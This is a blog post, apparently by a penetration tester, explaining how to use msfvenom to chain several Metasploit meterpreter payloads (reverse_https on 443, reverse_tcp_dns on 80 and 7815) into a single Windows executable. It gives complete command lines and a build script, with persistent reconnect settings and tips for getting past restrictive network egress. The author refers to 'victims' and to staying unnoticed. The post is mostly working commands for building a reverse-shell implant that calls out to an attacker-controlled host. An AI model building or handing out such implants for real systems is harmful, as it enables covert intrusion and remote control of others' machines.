Metasploit Payloads Explained - Part 1b


This series was interrupted a bit by the new Metasploit HTTP/HTTPS payloads (more info). Definitely not complaining though as the new features *(as will be discussed in part 2) are some epic new additions to the payloads list. However an important change happened while the craziness over the new payloads was going on. ScriptJunkie snuck in an awesome change to msfvenom (a.k.a. msffsm).

Here is the link to the ticket about the change (link) and the revision (r13057)

TL;DR version: This change allows you to put multiple payloads into one binary… ya.. awesomesauce.

He gives the following example:

ruby msfvenom -p windows/messagebox -f raw EXITFUNC=thread > /tmp/msgbox.raw
ruby msfvenom -p windows/meterpreter/reverse_tcp -f raw -t /tmp/msgbox.raw -k LHOST= EXITFUNC=thread > /tmp/rev102msgbox.raw
ruby msfvenom -p - -f exe < /tmp/rev102msgbox.raw > /tmp/rev102msgbox.exe

This example when ‘rev102msgbox.exe’ is run will pop up a message box with the default options (Hello, from MSF!) and throw a reverse)tcp connection to over the default port of 4444.

This is great as an example and a good way to test to see if things are working, but I don’t normally like to inform my victims that I’m there by saying hello (especially if I’m not there to see their faces).

So I thought that this would be a great way of throwing a bunch of payloads together to try a few of the tried and true ways of getting past restrictive networks all in one binary. I started off with 3 payloads:

  • reverse_tcp_dns to port 7815
  • reverse_tcp_dns to port 80
  • reverse_https to port 443

I chose those because I can change the DNS to point to a new IP address in future without having to regenerate my binary and size really isn’t a concern since I won’t be using it in an exploit.

(SIDE NOTE: The motive for the port 7815 one is because sometimes there are proxy settings for port 80 and 443 which the new HTTP/HTTPS payloads can handle (‘cept for Auth proxies) but for some reason quite regularly companies will still allow odd ports to fly through unencumbered)

Here is what I did:

./msfvenom -p windows/meterpreter/reverse_https -f raw LPORT=443 > /tmp/stage1.raw
./msfvenom -p windows/meterpreter/reverse_tcp_dns -f raw LPORT=80 -c /tmp/stage1.raw > /tmp/stage2.raw
./msfvenom -p windows/meterpreter/reverse_tcp_dns -f exe LPORT=7815 -c /tmp/stage2.raw > /tmp/stage3.exe

Luckily (and you’ll see why in a second) I forgot to set up a multi/handler on port 7815, which caused me to notice an issue. When one of the payloads failed to connect, ‘ExitProcess’ was called, causing all of my payloads to die prematurely (even if they had already gotten the second stage).

I tried setting AutoRunScript to ‘migrate -f’ so that the payloads would migrate out into a new Notepad process. But the connection died too quickly and none of the payloads were fast enough at jumping ship.

ReverseConnectRetries to the rescue. This is an advanced setting for the reverse_tcp family (ipv6_tcp, nonx_tcp, ord_tcp, tcp, tcp_allports, tcp_dns) which tells the payload how many times to loop through the initial connection. This setting defaults to 5 but can be anything between 1 and 255. The 255 setting is special since it actually sets an infinite loop. Sweet, now our sinking should never call the ExitProcess command right? Not quite, reverse_https and reverse_http doesn’t have this setting. We are still in a bit of a race condition if we want to use those payloads but it is a race we can win now at least.

I wrote a very simple batch file to generate my new binary when I need it (also so I don’t have to remember all the commands):


echo Building Stage 1
./msfvenom -p windows/meterpreter/reverse_https -f raw LPORT=443 > /tmp/stage1.raw

echo Building Stage 2
./msfvenom -p windows/meterpreter/reverse_tcp_dns -f raw ReverseConnectRetries=255 LPORT=80 -c /tmp/stage1.raw > /tmp/stage2.raw

echo Building Stage 3
./msfvenom -p windows/meterpreter/reverse_tcp_dns -f exe ReverseConnectRetries=255 LPORT=7815 -c /tmp/stage2.raw > /tmp/stage3.exe

echo Cleaning up...
rm -rf /tmp/stage1.raw /tmp/stage2.raw

echo Done..

Plus it tells you whats going on and does a bit of clean up, leaving you with just your hydra-binary. One of the things I thought about adding was the cmd/windows/adduser payload just so if the user is an admin we can start our day off without having to add ourselves a user but I decided against it just for clean up and “noise” purposes.

(You’ll also notice that one of the payloads is going somewhere else.. no reason to not give your payloads every chance of getting out) Sharing is caring right?